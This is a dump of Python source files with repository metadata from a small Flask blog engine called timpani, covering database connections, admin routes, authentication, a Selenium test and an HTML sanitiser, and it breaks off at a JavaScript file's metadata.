"src_encoding": "UTF-8",
"text": "import sqlalchemy\nimport sqlalchemy.orm\nimport uuid\nimport os.path\nfrom . import configmanager\nfrom . import tables\n\nCONFIG_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../configs/\"))\nconfigs = configmanager.ConfigManager(configPath=CONFIG_PATH)\nconfig = configs[\"database\"]\n\nclass ConnectionManager():\n _connections = {}\n\n @staticmethod\n def addConnection(connection, connectionName=uuid.uuid4().hex):\n if type(connectionName) == str:\n if type(connection) == DatabaseConnection:\n ConnectionManager._connections[connectionName] = connection\n return connectionName\n elif type(connection) == str:\n c = DatabaseConnection(connection)\n ConnectionManager._connections[connectionName] = connection\n return connectionName\n else:\n raise ValueError(\"connection must be of type str, not {}\".format(type(connection)))\n else:\n raise ValueError(\"connectionName must be of type str, not {}\".format(type(connectionName)))\n\n @staticmethod\n def getConnection(connectionName):\n if type(connectionName) == str:\n try:\n return ConnectionManager._connections[connectionName]\n except KeyError:\n return None\n\n #Convenience method to get main database connection\n @staticmethod\n def getMainConnection():\n return ConnectionManager.getConnection(\"main\")\n\n @staticmethod\n def closeConnection(connectionName):\n if type(connectionName) == str:\n connection = ConnectionManager.getConnection(connectionName)\n if connection is not None:\n connection.closeSession()\n del ConnectionManager._connections[connectionName]\n else:\n raise ValueError(\"connectionName does not exist, or is already closed.\")\n else:\n raise ValueError(\"connectionName must be of type str, not {}\".format(type(name)))\n\nclass DatabaseConnection():\n def __init__(self, connectionString=config[\"connection_string\"], createTables=True):\n self.connectionString = connectionString\n self.engine = sqlalchemy.create_engine(self.connectionString)\n self._Session = sqlalchemy.orm.sessionmaker(bind = self.engine)\n self.session = self._Session()\n #Create all tables\n if createTables:\n attrs = dir(tables)\n for attr in attrs:\n attr = getattr(tables, attr)\n if isinstance(attr, type) and attr != tables.Base:\n attr.metadata.create_all(self.engine)\n\n def getSelectedDatabase(self):\n result = self.session.execute(\"SELECT DATABASE()\").fetchone()\n if result is not None:\n return result[0]\n return None\n\n def closeSession(self):\n if self.session is not None:\n self.session.close()\n\n"
},
{
"alpha_fraction": 0.6546947956085205,
"alphanum_fraction": 0.6587066650390625,
"avg_line_length": 40.709163665771484,
"blob_id": "067eedaae8d9c00c35249364c08979ebfd45de85",
"content_id": "5669411e3fc5f33d18581c0f4e56dbc2f9848364",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10469,
"license_type": "permissive",
"max_line_length": 120,
"num_lines": 251,
"path": "/timpani/webserver/controllers/admin.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import flask\nimport os.path\nimport datetime\nimport json\nimport uuid\nimport magic\nimport mimetypes\nfrom sqlalchemy.exc import IntegrityError\nfrom .. import webhelpers\nfrom ... import blog\nfrom ... import auth\nfrom ... import themes\nfrom ... import settings\n\nFILE_LOCATION = os.path.abspath(os.path.dirname(__file__))\nCONFIG_PATH = os.path.abspath(os.path.join(FILE_LOCATION, \"../../../configs/\"))\nTEMPLATE_PATH = os.path.abspath(os.path.join(FILE_LOCATION, \"../../../templates\"))\nUPLOAD_LOCATION = os.path.abspath(os.path.join(FILE_LOCATION, \"../../../static/uploads\"))\n\nblueprint = flask.Blueprint(\"admin\", __name__, template_folder=TEMPLATE_PATH)\n\[email protected](\"/manage\")\[email protected](\"/login\", saveRedirect=False)\ndef manage():\n return flask.render_template(\"manage.html\",\n user=webhelpers.checkForSession().user)\n\[email protected](\"/add_post\", methods=[\"GET\", \"POST\"])\[email protected](\"/manage\",\n requiredPermissions=auth.CAN_POST_PERMISSION)\ndef addPost():\n if flask.request.method == \"GET\":\n return flask.render_template(\"add_post.html\",\n user=webhelpers.checkForSession().user)\n elif flask.request.method == \"POST\":\n postTitle = flask.request.form[\"post-title\"]\n postBody = flask.request.form[\"post-body\"].replace(\"\\t\", \" \")\n postBody = flask.request.form[\"post-body\"].replace(\" \", \" \")\n postTags = flask.request.form[\"post-tags\"]\n blog.addPost(\n title=postTitle,\n body=postBody,\n time_posted=datetime.datetime.now(),\n author=webhelpers.checkForSession().user,\n tags=postTags)\n return flask.redirect(\"/\")\n\[email protected](\"/manage_posts\")\[email protected](\"/manage\",\n requiredPermissions=auth.CAN_POST_PERMISSION)\ndef managePosts():\n posts = blog.getPosts(tags=False)\n return flask.render_template(\"manage_posts.html\",\n posts=posts,\n user=webhelpers.checkForSession().user)\n\[email protected](\"/edit_post/<int:postId>\", methods=[\"GET\", \"POST\"])\[email protected](\"/manage\",\n requiredPermissions=auth.CAN_POST_PERMISSION)\ndef editPost(postId):\n if flask.request.method == \"GET\":\n post = blog.getPostById(postId)\n return flask.render_template(\"add_post.html\",\n post=post,\n user=webhelpers.checkForSession().user)\n elif flask.request.method == \"POST\":\n postTitle = flask.request.form[\"post-title\"]\n postBody = flask.request.form[\"post-body\"].replace(\"\\t\", \" \")\n postBody = flask.request.form[\"post-body\"].replace(\" \", \" \")\n postTags = flask.request.form[\"post-tags\"]\n blog.editPost(postId, postTitle, postBody, postTags)\n return flask.redirect(\"/\")\n\[email protected](\"/settings\", methods=[\"GET\", \"POST\"])\[email protected](\"/manage\",\n requiredPermissions=auth.CAN_CHANGE_SETTINGS_PERMISSION)\ndef settingsPage():\n if flask.request.method == \"GET\":\n return flask.render_template(\"settings.html\",\n settings=settings.getAllSettings(),\n themes=themes.getAvailableThemes(),\n user=webhelpers.checkForSession().user)\n\n if flask.request.method == \"POST\":\n invalidSettings = []\n for setting in flask.request.form:\n value = flask.request.form[setting]\n if not settings.validateSetting(setting, value):\n invalidSettings.append(setting)\n\n if len(invalidSettings) == 0:\n for setting in flask.request.form:\n value = flask.request.form[setting]\n settings.setSettingValue(setting, value)\n\n flask.flash(\"Your settings have been successfully saved.\", \"success\")\n return flask.redirect(\"/settings\")\n else:\n flask.flash(\"Invalid settings. Please make sure the following requirements are met and try again.\", \"error\")\n for setting in invalidSettings:\n flask.flash(settings.VALIDATION_MESAGES[setting], \"error\")\n storedSettings = settings.getAllSettings()\n #Since flask.request.form is an ImmutableMultiDict, we must call to_dict\n #flat = True means we will only get the first value in the dict (which should be fine).\n storedSettings.update(flask.request.form.to_dict(flat=True))\n return flask.render_template(\"settings.html\",\n settings=storedSettings,\n themes=themes.getAvailableThemes(),\n user=webhelpers.checkForSession().user)\n\[email protected](\"/manage_users\", methods=[\"GET\", \"POST\"])\[email protected](\"/manage\",\n requiredPermissions = auth.CAN_CHANGE_SETTINGS_PERMISSION)\ndef manageUsers():\n if flask.request.method == \"GET\":\n return flask.render_template(\"manage_users.html\",\n userList = auth.getAllUsers(),\n user = webhelpers.checkForSession().user)\n\n#Returns a JSON Object based on whether or not user is logged in and if creation was succuessful.\[email protected](\"/create_user\", methods=[\"POST\"])\[email protected](requiredPermissions=auth.CAN_CHANGE_SETTINGS_PERMISSION,\n saveRedirect=False)\ndef createUser(authed, authMessage):\n if authed:\n username = flask.request.form[\"username\"]\n password = flask.request.form[\"password\"]\n fullName = flask.request.form[\"full_name\"]\n canChangeSettings = False\n canWritePosts = False\n if (auth.CAN_POST_PERMISSION in flask.request.form\n and flask.request.form[auth.CAN_POST_PERMISSION] == \"on\"):\n canChangeSettings = True\n if (auth.CAN_CHANGE_SETTINGS_PERMISSION in flask.request.form\n and flask.request.form[auth.CAN_CHANGE_SETTINGS_PERMISSION] == \"on\"):\n canWritePosts = True\n user = None\n try:\n user = auth.createUser(username, fullName, password, canChangeSettings, canWritePosts)\n except IntegrityError:\n return json.dumps({\"error\": 2}), 400\n return json.dumps({\"error\": 0, \"user_id\": user.id})\n else:\n return json.dumps({\"error\": 1}), 403\n\n#Returns a JSON object based on whether or not user is logged in and if a user is found.\n#Object contains user information\[email protected](\"/get_user_info/<int:userId>\")\[email protected](requiredPermissions=auth.CAN_CHANGE_SETTINGS_PERMISSION)\ndef getUserInfo(userId, authed, authMessage):\n if authed:\n user = auth.getUserById(userId)\n if user is None:\n return json.dumps({\"error\": 2})\n userPermissions = []\n if user.can_change_settings:\n userPermissions.append(auth.CAN_CHANGE_SETTINGS_PERMISSION)\n if user.can_write_posts:\n userPermissions.append(auth.CAN_POST_PERMISSION)\n\n userInfo = {\n \"username\": user.username,\n \"full_name\": user.full_name,\n \"permissions\" : userPermissions\n }\n return json.dumps({\"error\": 0, \"info\": userInfo})\n else:\n return json.dumps({\"error\": 1}), 403\n\n#Returns a JSON Object based on whether or not the user is logged in.\[email protected](\"/delete_post/<int:postId>\", methods=[\"POST\"])\[email protected](requiredPermissions=auth.CAN_POST_PERMISSION,\n saveRedirect=False)\ndef deletePost(postId, authed, authMessage):\n if authed:\n blog.deletePost(postId)\n return json.dumps({\"error\": 0})\n else:\n return json.dumps({\"error\": 1}), 403\n\n#Returns a JSON Object based on whether or not the user is logged in,\n#or if it's an invalid file type.\[email protected](\"/upload_image\", methods=[\"POST\"])\[email protected](requiredPermissions=auth.CAN_POST_PERMISSION,\n saveRedirect=False)\ndef uploadImage(authed, authMessage):\n ACCEPTED_FORMATS = [\"image/jpeg\", \"image/png\", \"image/gif\"]\n if authed:\n image = flask.request.files[\"image\"]\n mime = magic.from_buffer(image.stream.read(), mime=True)\n image.stream.seek(0,0)\n\n if type(mime) == bytes:\n mime = mime.decode()\n\n if mime in ACCEPTED_FORMATS:\n extension = mimetypes.guess_extension(mime)\n fileName = \"{}{}\".format(uuid.uuid4().hex, extension)\n image.save(os.path.join(UPLOAD_LOCATION, fileName))\n return json.dumps({\n \"error\": 0,\n \"url\": os.path.join(\"/static/uploads\",\n fileName)})\n else:\n return json.dumps({\"error\": 2}), 400\n else:\n return json.dumps({\"error\": 1}), 403\n\[email protected](\"/reset_password\", methods=[\"POST\"])\[email protected](requiredPermissions=auth.CAN_CHANGE_SETTINGS_PERMISSION,\n saveRedirect=False)\ndef resetPassword(authed, authMessage):\n if authed:\n userId = flask.request.form[\"userId\"]\n newPassword = flask.request.form[\"password\"]\n auth.resetPasswordById(userId, newPassword)\n return json.dumps({\"error\": 0})\n else:\n return json.dumps({\"error\": 1}), 403\n\[email protected](\"/change_user_permisisons\", methods=[\"POST\"])\[email protected](requiredPermissions=auth.CAN_CHANGE_SETTINGS_PERMISSION,\n saveRedirect=False)\ndef changePermissions(authed, authMessage):\n if authed:\n if (auth.CAN_POST_PERMISSION in flask.request.form\n and flask.request.form[auth.CAN_POST_PERMISSION] == \"on\"):\n auth.grantUserPermissionById(flask.request.form[\"userId\"], auth.CAN_POST_PERMISSION)\n else:\n auth.revokeUserPermissionById(flask.request.form[\"userId\"], auth.CAN_POST_PERMISSION)\n\n if (auth.CAN_CHANGE_SETTINGS_PERMISSION in flask.request.form\n and flask.request.form[auth.CAN_CHANGE_SETTINGS_PERMISSION] == \"on\"):\n auth.grantUserPermissionById(flask.request.form[\"userId\"], auth.CAN_CHANGE_SETTINGS_PERMISSION)\n else:\n auth.revokeUserPermissionById(flask.request.form[\"userId\"], auth.CAN_CHANGE_SETTINGS_PERMISSION)\n\n return json.dumps({\"error\": 0})\n\n else:\n return json.dumps({\"error\": 1})\n\[email protected](\"/delete_user/<int:userId>\", methods=[\"POST\"])\[email protected](requiredPermissions=auth.CAN_CHANGE_SETTINGS_PERMISSION,\n saveRedirect=False)\ndef deleteUser(userId, authed, authMessage):\n if authed:\n # auth.deleteUserById(userId)\n return json.dumps({\"error\": 0})\n else:\n json.dumps({\"error\": 1})\n"
},
{
"alpha_fraction": 0.752293586730957,
"alphanum_fraction": 0.752293586730957,
"avg_line_length": 26.25,
"blob_id": "88fbd86083259d4280d7829cb865920a6f4cc8cb",
"content_id": "1a1b907d47e9d7831bdcc452ea201b921b1a328f",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 109,
"license_type": "permissive",
"max_line_length": 40,
"num_lines": 4,
"path": "/timpani/configmanager/__init__.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from __future__ import absolute_import\nfrom .configmanager import ConfigManager\n\n__all__ = [\"ConfigManager\"]\n"
},
{
"alpha_fraction": 0.7347826361656189,
"alphanum_fraction": 0.7369565367698669,
"avg_line_length": 29.66666603088379,
"blob_id": "d07874965d360dd553ec5facdc039865bcdfb467",
"content_id": "7b617b66b2a5014bfbb92af7e3392470631d191c",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 460,
"license_type": "permissive",
"max_line_length": 107,
"num_lines": 15,
"path": "/run",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python3\nimport os\nimport os.path\nimport sys\nimport timpani \nfrom timpani import configmanager\nimport atexit\n\nconfigs = configmanager.ConfigManager(os.path.abspath(os.path.join(os.path.dirname(__file__), \"configs/\")))\nwebserverConfig = configs[\"webserver\"]\n\nif __name__ == \"__main__\":\n\tif \"--debug\" in sys.argv:\n\t\ttimpani.wsgi.application.debug = True\n\ttimpani.wsgi.application.run(host = webserverConfig[\"host\"], port = webserverConfig[\"port\"])\n"
},
{
"alpha_fraction": 0.7076038122177124,
"alphanum_fraction": 0.709229588508606,
"avg_line_length": 36.190696716308594,
"blob_id": "b6f2340afafc5bafc32dcea617b09924c88b8579",
"content_id": "3ad2b33cea8a1995ab71798faec5ff3f997fc396",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7996,
"license_type": "permissive",
"max_line_length": 92,
"num_lines": 215,
"path": "/timpani/auth.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import bcrypt\nimport os\nimport binascii\nimport datetime\nimport sqlalchemy\nfrom . import database\nfrom . import configmanager\n\nBCRYPT_ROUNDS = 10\n\nFILE_LOCATION = os.path.abspath(os.path.dirname(__file__))\nCONFIG_PATH = os.path.abspath(os.path.join(FILE_LOCATION, \"../configs/\"))\n\nconfigs = configmanager.ConfigManager(configPath=CONFIG_PATH)\nauthConfig = configs[\"auth\"]\n\nCAN_CHANGE_SETTINGS_PERMISSION = \"can_change_settings\"\nCAN_POST_PERMISSION = \"can_write_posts\"\n\n#Returns user object if exists, None if otherwise\ndef getUserById(userId):\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = (databaseConnection.session\n .query(database.tables.User)\n .filter(database.tables.User.id == userId))\n return query.first()\n\n#Returns user object if exists, None if otherwise\ndef getUserByUsername(username):\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = (databaseConnection.session\n .query(database.tables.User)\n .filter(sqlalchemy.func.lower(database.tables.User.username)\n == username.lower()))\n return query.first()\n\n#Returns list of user objects.\ndef getAllUsers():\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = (databaseConnection.session\n .query(database.tables.User)\n .order_by(sqlalchemy.func.lower(database.tables.User.username)))\n return query.all()\n\ndef createUser(username, full_name, password, can_change_settings, can_write_posts):\n passwordAsBytes = bytes(password, \"utf-8\")\n passwordHash = bcrypt.hashpw(passwordAsBytes,\n bcrypt.gensalt(rounds=BCRYPT_ROUNDS))\n passwordHash = passwordHash.decode(\"utf-8\")\n databaseConnection = database.ConnectionManager.getMainConnection()\n userObject = database.tables.User(\n username=username,\n full_name=full_name,\n password=passwordHash,\n can_change_settings=can_change_settings,\n can_write_posts=can_write_posts)\n\n databaseConnection.session.add(userObject)\n databaseConnection.session.commit()\n\n return userObject\n\ndef validateUser(username, password):\n passwordAsBytes = bytes(password, \"utf-8\")\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = (databaseConnection.session\n .query(database.tables.User)\n .filter(sqlalchemy.func.lower(database.tables.User.username)\n == username.lower()))\n if query.count() > 0:\n userObject = query.first()\n userPassword = bytes(userObject.password,\"utf-8\")\n if bcrypt.hashpw(passwordAsBytes, userPassword) == userPassword:\n return True\n\n return False\n\ndef userHasPermission(username, permissionName):\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = (databaseConnection.session\n .query(database.tables.User)\n .filter(sqlalchemy.func.lower(database.tables.User.username) == username.lower()))\n\n if query.count() > 0:\n userObj = query.first()\n return getattr(userObj, permissionName)\n return False\n\ndef deleteUser(user):\n #user must be a user object\n if type(user) != database.tables.User:\n raise TypeError(\"user must be of type User, not {}\".format(type(user).__name__))\n databaseConnection = database.ConnectionManager.getMainConnection()\n databaseConnection.session.delete(user)\n databaseConnection.session.commit()\n\ndef deleteUserById(userId):\n user = getUserById(userId)\n deleteUser(user)\n\ndef deleteUserByUsername(username):\n user = getUserByUsername(username)\n deleteUser(user)\n\ndef generateSessionId():\n sessionId = binascii.hexlify(os.urandom(authConfig[\"session_id_length\"]))\n return sessionId.decode(\"utf-8\")\n\ndef createSession(username, sessionId=None):\n if sessionId is None:\n sessionId = generateSessionId()\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = (databaseConnection.session\n .query(database.tables.User)\n .filter(sqlalchemy.func.lower(database.tables.User.username)\n == username.lower()))\n\n if query.count() > 0:\n userObject = query.first()\n userId = userObject.id\n #Set expiry to the date of now + two weeks\n expires = datetime.datetime.now() + datetime.timedelta(weeks=2)\n sessionObj = database.tables.Session(\n user_id=userId,\n session_id=sessionId,\n expires=expires)\n databaseConnection.session.add(sessionObj)\n databaseConnection.session.commit()\n return (sessionId, expires)\n else:\n raise ValueError(\"username does not exist.\")\n\ndef validateSession(sessionId):\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = (databaseConnection.session\n .query(database.tables.Session)\n .filter(database.tables.Session.session_id == sessionId))\n\n if query.count() > 0:\n sessionObj = query.first()\n userId = sessionObj.user_id\n if datetime.datetime.now() < sessionObj.expires:\n userQuery = (databaseConnection.session\n .query(database.tables.User)\n .filter(database.tables.User.id == userId))\n if userQuery.count() > 0:\n return sessionObj\n\n return None\n\ndef invalidateSession(sessionId):\n databaseConnection = database.ConnectionManager.getMainConnection()\n #Delete the session from the database\n query = (databaseConnection.session\n .query(database.tables.Session)\n .filter(database.tables.Session.session_id == sessionId)\n .delete())\n databaseConnection.session.commit()\n\ndef resetPassword(user, newPassword):\n if type(user) != database.tables.User:\n raise TypeError(\"user must be of type User, not {}\".format(type(user).__name__))\n databaseConnection = database.ConnectionManager.getMainConnection()\n passwordHash = bcrypt.hashpw(bytes(newPassword, \"utf-8\"),\n bcrypt.gensalt(rounds=BCRYPT_ROUNDS)).decode(\"utf-8\")\n user.password = passwordHash\n databaseConnection.session.commit()\n\ndef resetPasswordById(userId, newPassword):\n user = getUserById(userId)\n resetPassword(user, newPassword)\n\ndef resetPasswordByUsername(username, newPassword):\n user = getUserByUsername(username)\n resetPassword(user, newPassword)\n\ndef grantUserPermission(user, permission):\n if type(user) != database.tables.User:\n raise TypeError(\"user must be of type User, not {}\".format(type(user).__name__))\n databaseConnection = database.ConnectionManager.getMainConnection()\n if permission == CAN_POST_PERMISSION:\n user.can_write_posts = True\n elif permission == CAN_CHANGE_SETTINGS_PERMISSION:\n user.can_change_settings = True\n else:\n raise ValueError(\"{} is not a valid permission.\".format(permission))\n databaseConnection.session.commit()\n\ndef grantUserPermissionById(userId, permission):\n user = getUserById(userId)\n grantUserPermission(user, permission)\n\ndef grantUserPermissionByUsername(username, permission):\n user = getUserByUsername(username)\n grantUserPermission(user, permission)\n\ndef revokeUserPermission(user, permission):\n if type(user) != database.tables.User:\n raise TypeError(\"user must be of type User, not {}\".format(type(user).__name__))\n databaseConnection = database.ConnectionManager.getMainConnection()\n if permission == CAN_POST_PERMISSION:\n user.can_write_posts = False\n elif permission == CAN_CHANGE_SETTINGS_PERMISSION:\n user.can_change_settings = False\n else:\n raise ValueError(\"{} is not a valid permission\".format(permission))\n databaseConnection.session.commit()\n\ndef revokeUserPermissionById(userId, permission):\n user = getUserById(userId)\n revokeUserPermission(user, permission)\n\ndef revokeUserPermissionByUsername(username, permission):\n user = getUserByUsername(username)\n revokeUserPermission(username, permission)\n"
},
{
"alpha_fraction": 0.7605633735656738,
"alphanum_fraction": 0.7605633735656738,
"avg_line_length": 16.75,
"blob_id": "1453fde3981f066a2f8903617f9280cf80db621c",
"content_id": "af208acf0445f5bd7e6a1e317dd7b1484d82a38b",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 71,
"license_type": "permissive",
"max_line_length": 25,
"num_lines": 4,
"path": "/timpani/webserver/__init__.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from . import webserver\n\napp = webserver.app\nstart = webserver.app.run\n"
},
{
"alpha_fraction": 0.6962441205978394,
"alphanum_fraction": 0.7112675905227661,
"avg_line_length": 37.03571319580078,
"blob_id": "cdd7ca51cd4fee1b3e21a1fdfa2daea9b9ae9c58",
"content_id": "9c3344c43f7de08c7fb91b8593b11f2753534ac0",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2130,
"license_type": "permissive",
"max_line_length": 92,
"num_lines": 56,
"path": "/tests/tests/settings.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import binascii\nimport os\nfrom selenium.common import exceptions\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\n\nLOGIN_TITLE = \"Login - Timpani\"\nSETTINGS_TITLE = \"Settings - Timpani\"\n\nTITLE = \"Timpani! %s\" % binascii.hexlify(os.urandom(32)).decode()\nSUBTITLE = (\"Your subtitle, set using unit testing. %s\" % \n binascii.hexlify(os.urandom(32)).decode())\n\ndef test(driver, username, password):\n driver.get(\"http://127.0.0.1:8080/settings\")\n\n (WebDriverWait(driver, 10)\n .until(expected_conditions.title_contains(\"Timpani\")))\n \n assert driver.title == LOGIN_TITLE, \"Title is %s\" % driver.title\n\n loginForm = driver.find_element_by_id(\"login-form\")\n usernameField = driver.find_element_by_id(\"username-field\")\n passwordField = driver.find_element_by_id(\"password-field\")\n usernameField.send_keys(username)\n passwordField.send_keys(password)\n loginForm.submit()\n\n (WebDriverWait(driver, 10)\n .until_not(expected_conditions.title_is(LOGIN_TITLE)))\n\n assert driver.title == SETTINGS_TITLE, \"Title is %s\" % driver.title\n\n settingsForm = driver.find_element_by_id(\"settings-form\")\n titleField = driver.find_element_by_id(\"blog-title-input\")\t\n subtitleField = driver.find_element_by_id(\"blog-subtitle-input\")\n saveButton = driver.find_element_by_id(\"save\")\n titleField.clear()\n titleField.send_keys(TITLE)\n subtitleField.clear()\n subtitleField.send_keys(SUBTITLE)\n settingsForm.submit()\t\n\n #Will throw a timeout exception if the \n #page doesn't load, or it can't find the element.\n (WebDriverWait(driver, 10)\n .until(expected_conditions.presence_of_element_located((By.ID, \"success-message\"))))\n\n driver.get(\"http://127.0.0.1:8080\")\n\n blogTitle = driver.find_element_by_css_selector(\"h2.title\")\n blogSubtitle = driver.find_element_by_css_selector(\"h3.subtitles\")\n\n assert blogTitle.text == TITLE, \"Element text is %s\" % blogTitle.text\n assert blogSubtitle.text == SUBTITLE, \"Element text is %s\" % blogSubtitle.text\n"
},
{
"alpha_fraction": 0.7435897588729858,
"alphanum_fraction": 0.7435897588729858,
"avg_line_length": 18.5,
"blob_id": "ef13d1b5aeb7bf2a0fc1878d0b2cf8ee80f83b51",
"content_id": "2183eb18686ffdffd0c67e2615c2904a9d3681df",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 39,
"license_type": "permissive",
"max_line_length": 19,
"num_lines": 2,
"path": "/timpani/webserver/controllers/__init__.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from . import user\nfrom . import admin\n"
},
{
"alpha_fraction": 0.6404008865356445,
"alphanum_fraction": 0.641956090927124,
"avg_line_length": 42.84090805053711,
"blob_id": "c871de1c9273f3671ad5aeab71ac56c21d550cff",
"content_id": "97f1c05811bbe3176ddd3d2e0d9d3415c269f3fe",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5787,
"license_type": "permissive",
"max_line_length": 140,
"num_lines": 132,
"path": "/timpani/webserver/webhelpers.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import flask\nimport functools\nimport bs4\nimport urllib.parse\nfrom .. import auth\nfrom .. import themes\nfrom .. import settings\n\nINVALID_PERMISSIONS_FLASH_MESSAGE = \"Sorry, you don't have permission to view that page.\"\n\ndef checkForSession():\n if \"uid\" in flask.session:\n session = auth.validateSession(flask.session[\"uid\"])\n if session is not None:\n return session\n return None\n\ndef redirectAndSave(path):\n flask.session[\"donePage\"] = urllib.parse.urlparse(flask.request.url).path\n return flask.redirect(path)\n\ndef canRecoverFromRedirect():\n if \"donePage\" in flask.session:\n return flask.session[\"donePage\"]\n return None\n\n#Decorator which checks if a user logged in and capable of using the specified permissions.\n#If redirectPage is equal to none,\n#the target funciton MUST have the arguments authed and authMessage defined.\ndef checkUserPermissions(redirectPage=None, saveRedirect=True, redirectMessage=INVALID_PERMISSIONS_FLASH_MESSAGE, requiredPermissions=None):\n def decorator(function):\n def decorated(*args, **kwargs):\n session = checkForSession()\n if session is not None:\n username = session.user.username\n result = True\n #If we don't have any permissions necessary, a login is enough.\n #Otherwise, we're going to check to make sure that all necessary permissions are in place.\n if requiredPermissions is not None:\n if type(requiredPermissions) == str:\n result = auth.userHasPermission(username, requiredPermissions)\n else:\n for permission in requiredPermissions:\n if not auth.userHasPermission(username, permission):\n result = False\n #If all permissions is valid, redirect as needed.\n if result:\n if redirectPage is not None:\n return function(*args, **kwargs)\n else:\n return function(authed=True, authMessage=redirectMessage, *args, **kwargs)\n else:\n #We don't want to flash on thigns like ajax routes, so we use redirectPage is not None\n willFlash = redirectPage is not None\n return _permissionRedirect(redirectPage, saveRedirect, redirectMessage, willFlash, function, *args, **kwargs)\n else:\n return _permissionRedirect(redirectPage, saveRedirect, redirectMessage, False, function, *args, **kwargs)\n return functools.update_wrapper(decorated, function)\n return decorator\n\ndef _permissionRedirect(redirectPage, saveRedirect, redirectMessage, flash, function, *args, **kwargs):\n if flash:\n flask.flash(redirectMessage)\n if redirectPage is not None:\n if not saveRedirect:\n return flask.redirect(redirectPage)\n else:\n return redirectAndSave(redirectPage)\n else:\n return function(authed=False, authMessage=redirectMessage, *args, **kwargs)\n\n#Will return all information that is needed to render a post.\n#Prevents fragmentation in various post display methods\ndef getPostsParameters():\n title = settings.getSettingValue(\"title\")\n subtitle = settings.getSettingValue(\"subtitle\")\n displayName = settings.getSettingValue(\"display_name\")\n return {\n \"blogTitle\": title,\n \"blogSubtitle\": subtitle,\n \"displayName\": displayName,\n }\n\n#Renders the theme's template if the theme contains one\n#Otherwise, it renders the default template\ndef renderPosts(defaultPath, pageTitle, pageNumber, pageCount, nextPageExists, basePageUrl=\"\", *args, **kwargs):\n theme = themes.getCurrentTheme()\n template = theme[\"template\"]\n postParams = getPostsParameters()\n #Merge postParams and kwargs\n #Anything in kwargs will overwrite postParams (which is why we use these two lines)\n postParams.update(kwargs)\n kwargs = postParams\n\n if template is None:\n templateFile = open(defaultPath, \"r\")\n template = templateFile.read()\n templateFile.close()\n\n return flask.render_template_string(template, pageTitle=pageTitle,\n pageNumber=pageNumber, pageCount=pageCount,\n nextPageExists=nextPageExists, basePageUrl=basePageUrl,\n *args, **kwargs)\n\ndef xssFilter(postBody):\n whitelistedTags = [\"div\", \"span\", \"b\", \"i\", \"u\", \"a\", \"p\", \"img\", \"code\",\n \"ul\", \"li\", \"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\", \"pre\",\n \"br\"]\n #src and href must be checked seperately\n whitelistedAttributes = [\"id\", \"class\", \"style\"]\n soupedBody = bs4.BeautifulSoup(postBody, \"html.parser\")\n blockedTags = soupedBody.findAll(lambda tag: tag.name not in whitelistedTags)\n #Check if element has any attriutes that are not allowed, but only if\n #they are not already in blockedTags. Those will be escaped, anyway.\n blockedAttrs = soupedBody.findAll(lambda tag:\n len(set(tag.attrs.keys()) - set(whitelistedAttributes)) != 0\n and tag.name in whitelistedTags)\n for tag in blockedTags:\n #Beautiful soup will escape HTML strings\n tag.replace_with(str(tag))\n\n for tag in blockedAttrs:\n allowedAttrs = {}\n for attr in tag.attrs:\n if attr in whitelistedAttributes:\n allowedAttrs[attr] = tag.attrs[attr]\n elif attr == \"src\" or attr == \"href\":\n scheme = urllib.parse.urlparse(tag.attrs[attr]).scheme\n if scheme != \"data\" and scheme != \"javascript\":\n allowedAttrs[attr] = tag.attrs[attr]\n tag.attrs = allowedAttrs\n return str(soupedBody)\n"
},
{
"alpha_fraction": 0.709985077381134,
"alphanum_fraction": 0.7120715379714966,
"avg_line_length": 31.363344192504883,
"blob_id": "471c8ce403103525daade7944f7882a972115fbc",
"content_id": "64ae5e7bd231c0585f35aaa7726b038da6fc66fe",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 10065,
"license_type": "permissive",
"max_line_length": 144,
"num_lines": 311,
"path": "/web-src/js/add_post.js",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
